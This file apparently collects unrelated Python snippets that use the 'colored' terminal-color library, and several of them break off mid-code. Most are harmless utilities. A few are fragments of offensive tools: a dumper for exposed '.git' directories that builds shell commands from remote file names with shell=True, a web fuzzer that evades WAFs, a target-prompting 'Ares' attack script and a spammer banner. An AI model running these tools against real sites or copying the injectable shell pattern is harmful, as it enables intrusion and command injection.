def main(): args = parse_args() color_A = '#d70000' color_T = '#ffaf5f' color_G = '#00ffff' color_C = '#0087af' def change_color(color): def repl(m): """Replace characters with blocks of the same length """ return fg(color) + u'\u258D'*len(m.group(0)) + attr(0) return repl print(u'Legend: {}\u2588A{} {}\u2588T{} ' u'{}\u2588G{} {}\u2588C{}'.format(fg(color_A), attr(0), fg(color_T), attr(0), fg(color_G), attr(0), fg(color_C), attr(0))) with open(args.fasta) as fi: for line in fi: line = line.rstrip() if line.startswith('>'): print(line) else: line.upper() line = re.sub('A+', change_color(color_A), line) line = re.sub('T+', change_color(color_T), line) line = re.sub('G+', change_color(color_G), line) line = re.sub('C+', change_color(color_C), line) print(line)
def list(username=None, orgname=None, auth=None): if orgname: url = "%sorgs/%s/repos" % (ghURL,orgname) else: if not username: if auth: username = auth[0] else: return False url = "%susers/%s/repos" % (ghURL, username) r = requests.get( url, auth=auth ) if r.status_code >= 400: print "Error, code:", r.status_code return if r.status_code >= 300: print "Error, code:", r.status_code return data = json.loads(r.text) for o in data: print " %s%4s%s" %(col.fg(2),o["name"], col.fg(0))
def main(): cmd.extend(argv[1:]) gbl_raw = (subprocess.run(cmd, stdout=subprocess.PIPE).stdout .decode().split('\n')) code = '\n'.join(lines_starting_with(gbl_raw, '\t')) authors_by_line = lines_starting_with(gbl_raw, 'author ') authors_unique = sorted(list(set(authors_by_line))) formatter = Terminal256Formatter(style=base16_tomorrow_dark) highlighted_raw = highlight(code, guess_lexer(code), formatter) highlighted = highlighted_raw.split('\n') color_codes = [] for group in color_groups: for fg_color, bg_color in group: color_code = fg(fg_color) if bg_color: color_code += bg(bg_color) color_codes.append(color_code) author_color_codes = {author: color_codes.pop(0) for author in authors_unique} pretty_blame = [] for i in range(min(len(authors_by_line), len(highlighted))): author = authors_by_line[i] pretty_blame.append(( author_color_codes[author] + author, fg('dark_gray') + str(i), attr('reset') + highlighted[i] )) print(tabulate(pretty_blame, tablefmt='plain'))
def setup(self, *,level='info', term=None): l = level.lower() if l == 'debug': self.logLevel = 4 elif l == 'info': self.logLevel = 3 elif l == 'warning': self.logLevel = 2 elif l == 'error': self.logLevel = 1 elif l == 'critical': self.logLevel = 0 else: raise RuntimeError("Invalid log level") if term is not None: self.isTermE = term self.isTermO = term else: self.isTermE = sys.stderr.isatty() self.isTermO = sys.stdout.isatty() if self.isTermE: self.icos = [stylize("*", fg("white") + bg("red") + attr('bold')), stylize("*", fg("red") + attr('bold')), stylize("*", fg("yellow") + attr('bold')), stylize("*", fg("cyan")), stylize("*", fg("white") + attr('dim'))] else: self.icos = ["CRIT", "ERR ", "WARN", "INFO", "DBUG"]
def handle_starttag(self, tag, attrs): """Encountered a start tag""" # self.term += '<%s>' % tag if tag in ("h%d" % level for level in range(1, 7)): # Header [1...6] level = int(tag[1]) - 1 self.term += fg(self.theme[level]) self.term += " " * level if tag == "hr": # Ruler self.term += "\r%s" % ("-" * self.terminal.columns) if tag in ("ul", "ol") and self.list_level < 6: self.list_level += 1 self.list_level_map[self.list_level][1] = tag if tag == "li": self.term += fg(self.theme[self.list_level]) self.term += " " * self.list_level if self.list_level_map[self.list_level][1] == "ol": self.list_level_map[self.list_level][0] += 1 self.term += "%d. " % self.list_level_map[self.list_level][0] else: self.term += "- " self.term += attr("reset")
def main(): logging.basicConfig(level=logging.INFO) if len(sys.argv) < 2: sequence = input('Enter a sequence: ') else: sequence = sys.argv[1] if not sequence.isdecimal(): print(f'"{sequence}" is not decimal!', file=sys.stderr) sys.exit(1) from colored import fg, attr split = get_best_split(sequence) painted = fg("yellow") reset = attr('reset') string_split = " ".join(map(str, range(split.start, split.end))) right_shift = ( (len(split) - split.shift - len(sequence)) or -len(string_split) ) before = f'{split.start - 1} ' if split.start != 1 else '' after = split.end colored_string_split = ( f'{before}' f'{string_split[:split.shift]}{painted}' f'{string_split[split.shift:-right_shift]}{reset}' f'{string_split[-right_shift:]} ' f'{after}' ) print(colored_string_split)
def startup(): files = glob.glob("img/*.jpg") print print ('Welcome to: %sO U T L I N E R %s' % (fg(13), attr(0))) print print "A simple image processor that outlines sections of photos based on their R, G, and B values." print print "To begin, please make sure this python file is running from a directory containing a folder labled img, which should contain all of the images that you would like to edit." print "To check which directory you are in/see what files and folders exist in this directory, please enter \'yes\' or \'y\'. If you would like to skip this step, please enter \'no\' or \'n\'." print checkContinue = raw_input(("%sWould you like to check which directory you are in? : %s") % (fg(13), attr(0))) print if checkContinue in ["yes", "y", "Yes"]: dirPath = os.path.dirname(os.path.realpath(__file__)) print "you are currently in " + dirPath print "these are the files/folders it countains :" print os.listdir(dirPath) if os.path.exists(dirPath + "/img"): print print ("%sCool%s, it looks like you have an image folder in this directory! Lets keep going:" % (fg(10), attr(0))) return color_val(files) else: print ("%sHmmm%s, it doesn't seem like you have and img folder in this directory, try adding one before running the program again" % (fg(1), attr(0))) return (False,) else: dirPath = os.path.dirname(os.path.realpath(__file__)) if os.path.exists(dirPath + "/img"): print ("%sCool%s, it looks like you have an image folder in this directory! Lets keep going:" % (fg(10), attr(0))) return color_val(files) else: print ("%sHmmm%s, it doesn't seem like you have and img folder in this directory, try adding one before running the program again" % (fg(1), attr(0))) return (False,)
def color01(x, fmt='%.10f', min_color=235, max_color=255): "Colorize numbers in [0,1] based on value; darker means smaller value." import colored if not (0 <= x <= 1 + 1e-10): return colors.red % fmt % x width = max_color - min_color color = min_color + int(round(x*width)) return '%s%s%s' % (colored.fg(color), (fmt % x), colored.attr('reset'))
def __unicode__(self): if not (self.fg_color or self.bg_color or self.attrs): return self.text.decode("utf8") _str = fg(self.fg_color).decode("utf8") if self.fg_color else u"" _str += bg(self.bg_color).decode("utf8") if self.bg_color else u"" _str += u"".join(map(lambda a: attr(a), self.attrs)) _str += self.text.decode("utf8") _str += attr("reset").decode("utf8") return _str
def color01(x, fmt='%.10f'): "Colorize numbers in [0,1] based on value; darker means smaller value." if not (0 <= x <= 1 + 1e-10): return red % fmt % x a, b = 238, 255 # 232, 255 w = b - a offset = x*w offset = int(round(offset)) return colored.fg(a + offset) + (fmt % x) + colored.attr('reset') #color.fg256(a + offset, fmt % x)
def highlightMdFilesAndGitHubLinks(linktarget): """Highlight an url-string with colors for command line printing. Arguments: linktarget: a (partial) url that is the target a the link. Returns: The highlighed string that can be printed with colors on the command line. Description: If the url is a local hosted markdown file, it will be highlighted in red If the url is a github url, it will be highlighted in aqua If the url is anything else, it will just be returned as is. """ if linktarget.endswith(".md"): return "%s%s%s%s" % (fg(1), attr('bold'), linktarget, attr(0)) if linktarget.startswith("https://github.com/"): return "%s%s%s%s" % (fg(30), attr('bold'), linktarget, attr(0)) return linktarget
def step(self, dt): # Use the current solution for h as the initial condition for the ODE solver # for this step. Normally, we could just use the solution from the previous # time step, but this is important if we want to reset the model (say manually # assign a different h) self.ode_solver.y[:] = self.model.h.vector().array() if self.MPI_rank == 0: print ('%sSolving for h... %s' % (fg(10), attr(0))) # Step h self.ode_solver.integrate(self.model.t + dt) # Retrieve values from the ODE solver self.model.h.vector().set_local(self.ode_solver.y) self.model.h.vector().apply("insert") if self.MPI_rank == 0: print ('%sDone. %s' % (fg(10), attr(0)))
def print_row2(a, a2): for i in range(0,len(a)): x = a[i] color = colored.bg(lookup[9-x]) if a2 is not None: color += colored.fg(lookup[9-a2[i]]) res = colored.attr('reset') sys.stdout.write (color + str(x) + res) #sys.stdout.write(" ") sys.stdout.write("\n")
def handleWarnInfo(self, line): colors = { "ERROR:" : 9, "WARN:" : 11, "INFO:" : 2, } if self.disable_color: sys.stderr.write(line) else: sys.stderr.write("%s%s%s"%(fg(colors[line.split()[0]]), line, attr(0))) sys.stderr.flush()
def welcome_header(self): color = fg(25) sfx = attr(1) res = attr(0) print """{} {} ______ __ ________ ____ _ _/_ __/___ ____/ /___ / ____/ / / _/ | | / // / / __ \/ __ / __ \ / / / / / / | |/ // / / /_/ / /_/ / /_/ / / /___/ /____/ / |___//_/ \____/\__,_/\____/ \____/_____/___/ {}""".format(color,sfx,res) sys.stdout.flush()
def open_socket(self): try: self.server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.server.bind((self.host,self.port)) self.server.listen(5) print "%s---------------------------%s" % (fg(46), attr(0)) print "%s%s[server-status] ok.%s" % (fg(46), attr(1), attr(0)) print "%s---------------------------%s" % (fg(46), attr(0)) print ("%s[server-key] " + key.encode("hex")+"%s") % (fg(46), attr(0)) print ("%s[server-infos] " + str(self.host) + ":" + str(self.port) + "%s") % (fg(46), attr(0)) print ("%s[server-infos] backlog: " + str(self.backlog) + "%s") % (fg(46), attr(0)) print "%s---------------------------%s" % (fg(46), attr(0)) print "%s...waiting...%s" % (fg(46), attr(0)) except socket.error, (value,message): if self.server: self.server.close() print ("%sCould not open socket: " + message + "!!%s") % (fg(196), attr(0)) sys.exit(1)
def _gencommandlines(self, command, level=0, name='', deep=True): """Generate help screen lines for current command. """ lines = [] self._lines.extend(self._gencommandhelp(command, name, level=level)) self._lines.extend(_getoptionlines(command, indent=self._indent['string'], level=level+1, colorize=self._colorize)) if command.commands(): ln = 'commands' if colored is not None and self._colorize: ln = colored.fg('red') + ln + colored.attr('reset') ln += ':' self._lines.append( ('str', ((self._indent['string']*(level+1)) + ln)) ) self._lines.extend(self._gensubcommandslines(command, name, level, deep)) return lines
def printRule(label='', *, ch='-', width=None, color=None): if not color: color=fg("white") + attr('dim') if not width: width = max(1, shutil.get_terminal_size()[0]-4) if label: w = width - len(label) - 2 lwidth = w//2 rwidth = w-lwidth lwidth, rwidth = max(0,lwidth), max(0,rwidth) print(stylize(ch*lwidth + " " + label + " " + ch*rwidth, color)) else: print(stylize(ch*width, color))
def get_text(text, color=None, atrb=0, cls=None): """ Returns text ``text`` from calling class ``cls`` for printing at a later time. :param text: the text to print :param color: the color of the text to print :param atrb: attributes to send use by ``colored`` package :param cls: the calling class :type text: string :type color: string :type atrb: int :type cls: object """ if cls is not None: color = cls.color() if color is None: text = text else: if atrb != 0: text = ('%s%s' + text + '%s') % (fg(color), attr(atrb), attr(0)) else: text = ('%s' + text + '%s') % (fg(color), attr(0)) return text
def Welcome(newStart): print "="*79 print "| <<<"+colored.cyan("-"*10+"[Starting server] @ "+str(datetime.now())+"-"*10)+">>> |" print "="*79 print colored.green("<-->") +" "*51 + "#"+ colored.green(" _____ ____ ____ ")+"#" if newStart == True: bindsocket = socket.socket() bindsocket.bind(('', 5555)) bindsocket.listen(5) else: pass print colored.green(" |--> [Server-Status] running" + " "*25) + "#"+colored.green(" (_ _|___ \| _ \ ")+"#" print (fg(202)+" |--> [Server-Name] " + name + " "*26 + attr(0)+"#"+fg(202)+" | | __) ) |_) ) "+attr(0)+"#") print colored.yellow(" |--> [Onion-Host] " + host + " "*13) + "#"+colored.yellow(" | | / __/| _ ( ") +" #" print colored.yellow(" |--> [Onion-Port] " + str(port) + " "*31) + "#"+colored.yellow(" | | | |___| |_) )")+" #" print colored.yellow(" |--> [Onion-Backlog] " + str(backlog)+ " "*31) + "#"+colored.yellow(" |_| |_____)____/ ")+" #" print colored.yellow("<-->" +" "*51) + "#"+" "*21+"#" +"\n"+"="*79 print "# || " + " address "+ " "*10+ "|| cType " + " "*12 + "|| stat " print "-"*79 if newStart == True: return bindsocket else: pass
def get_user_category(categories): """Ask the user to pick a part category from a list.""" lookup = dict(zip(LETTERS, categories)) longest = 0 for category in lookup.values(): digits = len(str(category.qty)) if digits > longest: longest = digits for letter, category in sorted(lookup.items(), key=lambda t: t[0]): print('{}{}{}. ({}{}{}) {}{}{} - {}{}{}'.format( fg('red'), letter, attr('reset'), fg('blue'), str(category.qty).rjust(longest), attr('reset'), fg('green'), category.parent, attr('reset'), fg('yellow'), category.name, attr('reset'))) found = None while not found: try: key = input('Select a category: ') found = lookup[key.strip().lower()] except KeyError: print('Invalid selection.') except KeyboardInterrupt: sys.exit(0) return found
def remove_label_from_issue(args): results, status = GithubAPIGateway(*Helper.owner_and_repo()).remove_label_from_issue(args.issue_number, args.label, args.all_labels) if status in [200, 204]: print "Issue {0} labels:".format(args.issue_number) if results: for label in results: color = rgb2short(label['color'])[1] label_color = fg('black') + bg('#' + color) reset_color = attr('reset') print "[-l {0}\"{1}\"{2}]".format(label_color, label['name'], reset_color) else: print "No labels found." else: print results['message']
def _genusage(self): """Generate `usage` part of help screen. Modelled after `git --help` invocation usage message. """ key = 'usage' opening = 'usage' if colored is not None and self._colorize: opening = colored.fg('cyan') + opening + colored.attr('reset') head = '{0}: {1} '.format(opening, self._progname) indent = (len(head) - len(opening) + len(key)) * ' ' lines = [] what = (self._command._doc[key] if key in self._command._doc else []) if what: lines.append( ('str', head + what[0]) ) for line in what[1:]: lines.append( ('str', indent + line) ) self._lines.extend(lines) if self._lines: self._lines.append( ('str', '') )
def print_all_days(database): """Prints out a list of earnings announcements for the user's stocks.""" print("\nReporting dates for your tracked stocks:") color = fg(11) reset = attr('reset') for date in sorted(database.items()): d = date[0] header = datetime.strptime(date[0], "%Y%m%d").strftime("%A, %Y-%m-%d") header = "{0}{1}{2}".format(color, header, reset) print("\n{0}:".format(header)) if len(database[d]) == 0: print(" (none)") for stock in database[d]: print(" {:10s} [{:5s}]".format(stock, database[d][stock])) print("\nDone!")
def main(): parser = argparse.ArgumentParser() parser.add_argument('-l', '--length', type=int) parser.add_argument('-c', '--color') parser.add_argument('text') args = parser.parse_args() if args.length is not None: length = args.length else: length = term_length() separator = (colored.stylize(DEFAULT_SEPARATOR, colored.fg(args.color)) if args.color is not None and colored is not None else DEFAULT_SEPARATOR) sys.stdout.write(shorten_string(args.text, length, separator=separator))
def CSPrint(self, state, message): if state == "": print("[....] " + message) if state == "ok": print("[ " + termcolor.colored("OK", "green", attrs=["bold"]) + " ] " + termcolor.colored(message, "green", attrs=["bold"])) if state == "error": print("[" + termcolor.colored("ERROR", "red", attrs=["blink", "bold"]) + "] " + termcolor.colored(message, "red", attrs=["bold"])) if state == "warning": # 208 print("[" + fg(241) + attr("bold") + attr("blink") + "WARNING" + style.RESET + "] " + fg(241) + attr("bold") + message + style.RESET) if state == "info": print("[" + termcolor.colored("INFO", "cyan", attrs=["bold"]) + "] " + termcolor.colored(message, "cyan", attrs=["bold"])) if state == "debug": print("[" + termcolor.colored("DEBUG", "magenta", attrs=["bold"]) + "] " + termcolor.colored(message, "magenta", attrs=["bold"])) if state == "sys": print("[" + termcolor.colored("SYSTEM", "blue", attrs=["bold"]) + "] " + termcolor.colored(message, "blue", attrs=["bold"]))
def dump(self, max_depth=charmap.depth.max): from colored import fg, bg for y in range(self.height): for x in range(self.width): for d in reversed(range(max_depth)): c = self.cells[x][y][d] cmap = charmap.charmap[c] fg_name = cmap["fg"] bg_name = cmap["bg"] if c != " ": break color = fg(fg_name) + bg(bg_name) sys.stdout.write(color + c) print("")
def list_labels(args): results, status = GithubAPIGateway(*Helper.owner_and_repo()).get_labels(issue_number=args.issue_number) if status == 200: if args.issue_number: print "Issue {0} labels:".format(args.issue_number) if results: for label in results: color = rgb2short(label['color'])[1] label_color = fg('black') + bg('#' + color) reset_color = attr('reset') print "[-l {0}\"{1}\"{2}]".format(label_color, label['name'], reset_color) else: print "No labels found." else: print results['message']
def _getoptionlines(command, indent=' ', level=1, colorize=True): """Renders lines with options' help messages. The lines with actual option help strings, have only put short and long variants into their strings to make nice padding available, so all options' descriptions begin on the same column. Renderer handles the help messages (if they are present). """ lines = [] ln = 'options' if colored is not None and colorize: ln = colored.fg('red') + ln + colored.attr('reset') lines.append( ('str', indent*(level) + ln + ':') ) for scope in ['global', 'local']: for o in command.options(group=scope): rendered_option = renderOptionHelp(o) lines.append( ('option', indent*(level+1) + rendered_option[0], o) ) lines.append( ('str', '') ) return lines
def _gencommandhelp(self, command, name, level=0, longest=0): """Generate lines with command help message. """ if not longest: longest = len(name) SPACING = (2 if longest else 0) # CONF? lines = [] adjusted_name = name.ljust(longest+SPACING) if colored is not None and self._colorize: adjusted_name = colored.fg('yellow') + adjusted_name + colored.attr('reset') text = '{0}{1}'.format(adjusted_name, command._doc['help'].strip()) first = makelines(text, self._maxlen)[0] lines.append( ('str', ((self._indent['string']*level) + first)) ) for l in makelines(text[len(first):], (self._maxlen-len(name)-3)): indent = self._indent['string']*level padding = ' ' * (len(name) + SPACING) l = '{0}{1}{2}'.format(indent, padding, l) lines.append( ('str', l) ) lines = _cleanback(lines) if text: lines.append( ('str', '') ) return lines
def run(self, url, number_of_restaurants, skip, is_eatery): self.start = time.time() eateries_list = EateriesList(url, number_of_restaurants, skip, is_eatery) result = eateries_list.eateries_list for eatery in result: print "{fg}{bg} Eatery with eatery details {eatery} {reset}".format(fg=fg("green"), \ bg=bg("dark_blue"), eatery=eatery, reset=attr("reset")) return result
#!/usr/local/bin/python3 # Made by @swisscoding on Instagram # Follow now and share! from colored import stylize, fg # decoration print( stylize("\n---- | Get square root using Newton's method | ----\n", fg("red"))) # user interaction number = float(input("Enter a number: ")) # function def square_root(num): x = num while True: root = 0.5 * (x + num / x) if abs(root - x) < 0.00001: break x = root return round(root, 5) # output output = stylize(square_root(number), fg("red"))
def colored(str, color): return "%s%s%s" % (fg(color), str, attr('reset'))
#!/usr/bin/env python #importing modules import stdiomask as sm import os from colored import fg, bg, attr #defining the terms red = fg(1) + bg(232) red2 = fg(1) green = fg(2) + bg(232) green2 = fg(2) blue = fg(57) + bg(232) blue2 = fg(57) reset = attr("reset") #the main program def main_menu(): print(red + "Choose any 1 choice" + reset) print(red + "1.Register new lock" + reset + "\n" + red + "2.Exit" + reset) def register(): usr = input(blue + 'Enter username : '******'Enter password : '******'Retype password : '******'*') if pw == rpw: if len(pw) >= 6: os.system("touch .usr_pass") uspswd = open(".usr_pass", 'w')
import argparse import os import json import re import subprocess import datetime import tempfile from shutil import copyfile from colored import fg, bg, attr from PyInquirer import style_from_dict, Token, prompt, Separator # initiate the parser parser = argparse.ArgumentParser(prog="gauss", description= '{color}Sincroniza tu proyectos dentro de la cuenta NetSUite{reset}'.format(color=fg('cyan'), reset=attr('reset')), formatter_class=argparse.RawTextHelpFormatter) parser.add_argument("-v", "--version",help="Versión actual del script", action="store_true") parser.add_argument("-c", "--createproject", nargs="+", help="Crea un nuevo proyecto de tipo ACCOUNTCUSTOMIZATION") parser.add_argument("-a", "--addacount", action="store_true", help="Agrega credenciales del una cuenta de Netsuite sin iniciar un projecto") parser.add_argument("-s", "--script", nargs="+", help="Create SuiteScripts 2.0 files in directory [userevent, suitelet, scheduled, client, mapreduce, restlet] \nUSAGE:\nmonitor --scriptfile userevent=file1.js,subfolder/file2.js clientscript=file3.js") parser.add_argument("-r", "--norecordscript", action="store_false", help="Crea un script sin scriptrecord asociado") parser.add_argument("-u", "--upload", nargs="+", help="Carga archivos/folders dentro de tu FileCabinet") parser.add_argument("-d", "--deploy", action="store_true", help="Deploy project into NetSuite") parser.add_argument("--diff", nargs="+", help="Compara el archivo local contra el archivo actual del FileCabinet") args = parser.parse_args() # global variables/constants with open(os.path.join(os.path.dirname(os.path.realpath(__file__)),'config.json'),'r+') as _file: config = json.load(_file) _file.close() CWD = os.getcwd() AGREGAR = "===[ AGREGAR NUEVAS CREDENCIALES ]==="
def makereq(self, count, session_flag): response = None rq = requests.session() while not self.scan_q.empty(): #Hack to stop running if all recent responses match if len(set(self.waf)) == 1 and self.force == False: break try: i = self.scan_q.get( timeout=10) #Raise empty exception after 10s response = i.request(rq, session_flag) if response != None: if (int(response.responseSize) not in self.ig_size and int( response.statusCode) not in self.ig_status): #hack too stop running if a WAF kicks in self.waf.append(response.statusCode) self.waf.pop(0) #If same_resp set, only store unique response sizes #This is useful for fuzzing parameters if self.same_resp == True: other = False #Use other if not in keys if response.statusCode in self.size_resp.keys(): sizes = self.size_resp[response.statusCode] else: sizes = self.size_resp['other'] other = True #Has this size been seen before? if response.responseSize not in sizes: if other == True: #Is the status not in the list self.size_resp['other'].append( response.responseSize) self.resp_q.put(response) else: #put the result into status key self.size_resp[response.statusCode].append( response.responseSize) self.resp_q.put(response) else: #has been seen before, add to ignore list self.ig_size.append(int(response.responseSize)) else: #store if unique self.resp_q.put(response) #If force is set, add new WAF status to ignore if len(set(self.waf)) == 1 and self.force == True: self.ig_status.append(int(response.statusCode)) err = 'WAF Detected' + fg(1) + '! ' + fg(4) err += response.statusCode notice.errs(err) time.sleep(self.timeout) except Exception: self.enders_game(count) return self.enders_game(count) return
#!/usr/bin/python3 # pip install tqdm # pip install colored from tqdm import tqdm from time import sleep from colored import fg, bg, attr sayilar_str = ["ILK", "IKINCI", "UCUNCU", "DORDUNCU"] print("\n{}{}NERD POMODOROSUNA HOS GELDINIZ{}\n".format(fg('red'), bg('white'), attr('reset'))) sleep(2) print("{}{}POMODORO 25 DAKİKA CALISMA + 5 DAKIKA DINLENME SEKLINDE ILERLEYECEK{}\n".format(fg('red'), bg('white'), attr('reset'))) sleep(5) print("{}{}VE TOPLAMDA 4 SET YAPACAGIZ{}\n".format(fg('red'), bg('white'), attr('reset'))) sleep(5) print("{}{}HAZIRSAN, BASLIYORUZ{}\n".format(fg('red'), bg('white'), attr('reset'))) sleep(1) for i in range(3, 0, -1): # boyle c*k guzel gorunmuyor
def vix_equation(ticker, sendtweet=False, debug=False, dummyData=False): """ Runs the VIX equation on a ticker. Parameters ---------- ticker :string sandbox :bool Sets the IEX environment to sandbox mode to make limitless API calls for testing. Returns ------- vix :float """ print(stylize("Calculating...", colored.fg("yellow"))) # Step 1: Fetch the option chain for the ticker. chain = collectOptionChain(ticker, dummyData) # Step 2 # Find the proper "near-term" and "next-term" option expirations to be used to find Forward Level. # See selectOptionExpirations() in functions.py. # https://www.optionseducation.org/referencelibrary/white-papers/page-assets/vixwhite.aspx (pg 4) selectedChain = selectOptionExpirations(chain) # Step 3 # Calculate R # The risk-free interest rate, R, is the bond-equivalent yield of the U.S. T-bill maturing # closest to the expiration dates of relevant SPX options. As such, the VIX calculation may # use different risk-free interest rates for near- and next-term options. # https://www.optionseducation.org/referencelibrary/white-papers/page-assets/vixwhite.aspx (pg 4) r = scrape3mTreasury() # Step 4 # Calculate T1 and T2, for near-term and next-term options respectively. See calculateT() in functions.py for more. # https://www.optionseducation.org/referencelibrary/white-papers/page-assets/vixwhite.aspx (pg 4) t, tminutes = calculateT(selectedChain) # Step 5 # Determine the forward SPX level, F, by identifying the strike price at which the # absolute difference between the call and put prices is smallest # https://www.optionseducation.org/referencelibrary/white-papers/page-assets/vixwhite.aspx (pg 5) forwardLevel = calculateForwardLevel(selectedChain) # Step 6 # Calculate F, where F is the: "forward SPX {but in our case, any ticker} level, by identifying the strike price at which the # absolute difference between the call and put prices is smallest." # https://www.optionseducation.org/referencelibrary/white-papers/page-assets/vixwhite.aspx (pg 5) f = calculateF(t, r, forwardLevel) # Step 7 # Calculate Vol # Most of this function is finding K0 # Once you discover K0, you can immediately uncover many more crucial variables used to calculate vol. # I decided it would take far more code to break up this function into multiple parts rather than to simply # finish it in one loop. # https://www.optionseducation.org/referencelibrary/white-papers/page-assets/vixwhite.aspx (pg 6 - 9) vol = calculateVol(f, t, r, selectedChain) # Step 8 # Calculate VIX minYear = 525600 # Minutes in year minMonth = 43200 # Minutes in 30 days v1 = vol['nearTerm'] v2 = vol['nextTerm'] t1 = t['nearTerm'] t2 = t['nextTerm'] nT1 = tminutes['nearTerm'] # Minutes to expiration nT2 = tminutes['nextTerm'] # Minutes to expiration if (debug): print('Minutes Year = '+str(minYear)) print('Minutes in Month = '+str(minMonth)) print('Near-Term Vol (v1) = '+str(v1)) print('Next-Term Vol (v2) = '+str(v2)) print('T1 = '+str(t1)) print('T2 = '+str(t2)) print('Near-Term Expiration Minutes = '+str(nT1)) print('Next-Term Expiration Minutes = '+str(nT2)) print("\n") # Test Data to confirm accuracy # NT1 = number of minutes to settlement of the near-term options (12,960) # NT2 = number of minutes to settlement of the next-term options (53,280) # N30 = number of minutes in 30 days (30 × 1,440 = 43,200) # N365 = number of minutes in a 365-day year (365 ×1,440 = 525,600 # minutesYear = 525600 # minutesMonth = 43200 # v1 = 0.4727679 # v2 = 0.3668180 # t1 = 0.0246575 # t2 = 0.1013699 # nT1 = 12960 # Minutes to expiration # nT2 = 53280 # Minutes to expiration vix = 100 * math.sqrt( (t1 * v1 * ((nT2 - minMonth) / (nT2 - nT1)) + t2 * v2 * ((minMonth - nT1) / (nT2 - nT1))) * minYear / minMonth ) if (sendtweet): headline = "${} VIX: ".format(ticker) tweet = headline + str(round(vix, 3)) send_tweet(tweet) return ticker+" VIX: "+str(round(vix, 3))
SecurityGroupIds=EC2_SECURITY_GROUPS, MaxCount=1, MinCount=1, TagSpecifications=[ { 'ResourceType': 'instance', 'Tags': [ { 'Key': 'Name', 'Value': f'{service_name}' }, ] }, ], )[0] print(fg('light_green_3'), 'Sever is starting up...', attr('reset')) while True: instance = list( ec2.instances.filter(Filters=[{ 'Name': 'instance-id', 'Values': [instance.instance_id] }]))[0] if instance.state['Code'] == 16: break time.sleep(10) server_ip = instance.public_ip_address host_key = None while not host_key: print('key scan..') result = subprocess.run(['ssh-keyscan', server_ip],
import requests import time import os from colored import fg, bg, attr from os import system os.system("clear") color = fg('46') + bg('16') res = attr('reset') print(color + """.d8888b. 8888888888 888b 888 .d88888b. d88P Y88b 888 8888b 888 d88P" "Y88b Y88b. 888 88888b 888 888 888 "Y888b. 8888888 888Y88b 888 888 888 "Y88b. 888 888 Y88b888 888 888 "888 888 888 Y88888 888 888 Y88b d88P 888 888 Y8888 Y88b. .d88P "Y8888P" 8888888888 888 Y888 "Y88888P" .d8888b. 8888888b. d8888 888b d888 888b d888 8888888888 8888888b. d88P Y88b 888 Y88b d88888 8888b d8888 8888b d8888 888 888 Y88b Y88b. 888 888 d88P888 88888b.d88888 88888b.d88888 888 888 888 "Y888b. 888 d88P d88P 888 888Y88888P888 888Y88888P888 8888888 888 d88P "Y88b. 8888888P" d88P 888 888 Y888P 888 888 Y888P 888 888 8888888P" "888 888 d88P 888 888 Y8P 888 888 Y8P 888 888 888 T88b Y88b d88P 888 d8888888888 888 " 888 888 " 888 888 888 T88b "Y8888P" 888 d88P 888 888 888 888 888 8888888888 888 T88b""" + res) print ('%s%s \nㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤBy Eiro | Seno. %s' % (fg('red'), bg('black'), attr('reset')))
from backpack import portinfo, attacks import power_menu p = "-p" s = "-s" clear = lambda: os.system('tput reset') clear() def restart_program(): subprocess.call(['python', 'ares.py']) random_logos() print("%sAres has been awoken %s" % (fg(82), attr(0))) target = raw_input("%sTarget: http://%s" % (fg(59), attr(0))) print "%sAres is locked on to:%s" % (fg(82), attr(0)), target time.sleep(2) clear() while True: try: print "Type 'help' to see port menu" port = int(input("%sPort: %s" % (fg(59), attr(0)))) except TypeError: print '\n'.join(map(str, portinfo)) except SyntaxError: print "%sType a port number%s" % (fg(9), attr(0)) except NameError: print "Type 'help' to see port menu" continue
def downloadOject(t_extension, t_exclude, file): sys.stdout.write('progress: %d/%d\r' % (t_multiproc['n_current'], t_multiproc['n_total'])) t_multiproc['n_current'] = t_multiproc['n_current'] + 1 file = file.strip() if not len(file): return False # 0: object_id , 1: real filename tmp = file.split(':') object_id = tmp[0] real_filename = tmp[1] ext = real_filename.split('.')[-1] # print(ext) # make the test easier to read/understand if len(t_extension): if ext in t_extension: go = True else: go = False if len(t_exclude): if ext in t_exclude: go = False else: go = True if not go: if t_multiproc['verbose']: sys.stdout.write("%s[*] skip extension: %s%s\n" % (fg('dark_gray'), real_filename, attr(0))) return False u = git_url + '/objects/' + object_id[0:2] + '/' + object_id[2:] # print(u) r = downloadFile(u) if type(r) is bool: if t_multiproc['verbose']: sys.stdout.write("%s[-] %s%s\n" % (fg('dark_gray'), u, attr(0))) return False if not r.status_code == 200: if t_multiproc['verbose']: sys.stdout.write("%s[-] %s (%d)%s\n" % (fg('dark_gray'), u, r.status_code, attr(0))) return False filename = saveObject(output_dir, object_id, r.content) real_filename = output_dir + '/' + real_filename try: cmd = 'cd ' + output_dir + '; git checkout ' + tmp[1] output = subprocess.check_output(cmd, stderr=subprocess.STDOUT, shell=True).decode('utf-8') t_multiproc['n_success'] = t_multiproc['n_success'] + 1 display = "[+] %s (%d) %s-> %s (%d)%s\n" % (u, r.status_code, fg('cyan'), real_filename, len(r.content), attr(0)) except Exception as e: if t_multiproc['verbose']: display = "[-] %s (%d) %s-> %s%s\n" % (u, r.status_code, fg('yellow'), e, attr(0)) return False sys.stdout.write(display)
git_url = url t_url_parse = urlparse(url) output_dir = os.getcwd() + '/' + t_url_parse.netloc # ### # # ### init # if not os.path.isdir(output_dir): try: os.makedirs(output_dir) except Exception as e: sys.stdout.write("%s[-] error occurred: %s%s\n" % (fg('red'), e, attr(0))) exit() sys.stdout.write("%s[+] output directory: %s%s\n" % (fg('green'), output_dir, attr(0))) try: cmd = 'cd ' + output_dir + '; git init' output = subprocess.check_output(cmd, stderr=subprocess.STDOUT, shell=True).decode('utf-8') sys.stdout.write("[+] %s\n" % output.strip()) except Exception as e: sys.stdout.write("%s[-] error occurred, cannot initialize repository%s\n" % (fg('red'), attr(0))) sys.stdout.write("%s[-] %s%s\n" % (fg('red'), e, attr(0))) exit()
def on_failure(self, exc, task_id, args, kwargs, einfo): logger.info("{fg}{bg}Ending --<{function_name}--> of task --<{task_name}>-- failed f*****g\ miserably {reset}".format(fg=fg("white"), bg=bg("red"),\ function_name=inspect.stack()[0][3], task_name= self.__class__.__name__, reset=attr('reset'))) logger.info("{fg}{bg}{einfo}".format(fg=fg("white"), bg=bg("red"), einfo=einfo)) self.retry(exc=exc)
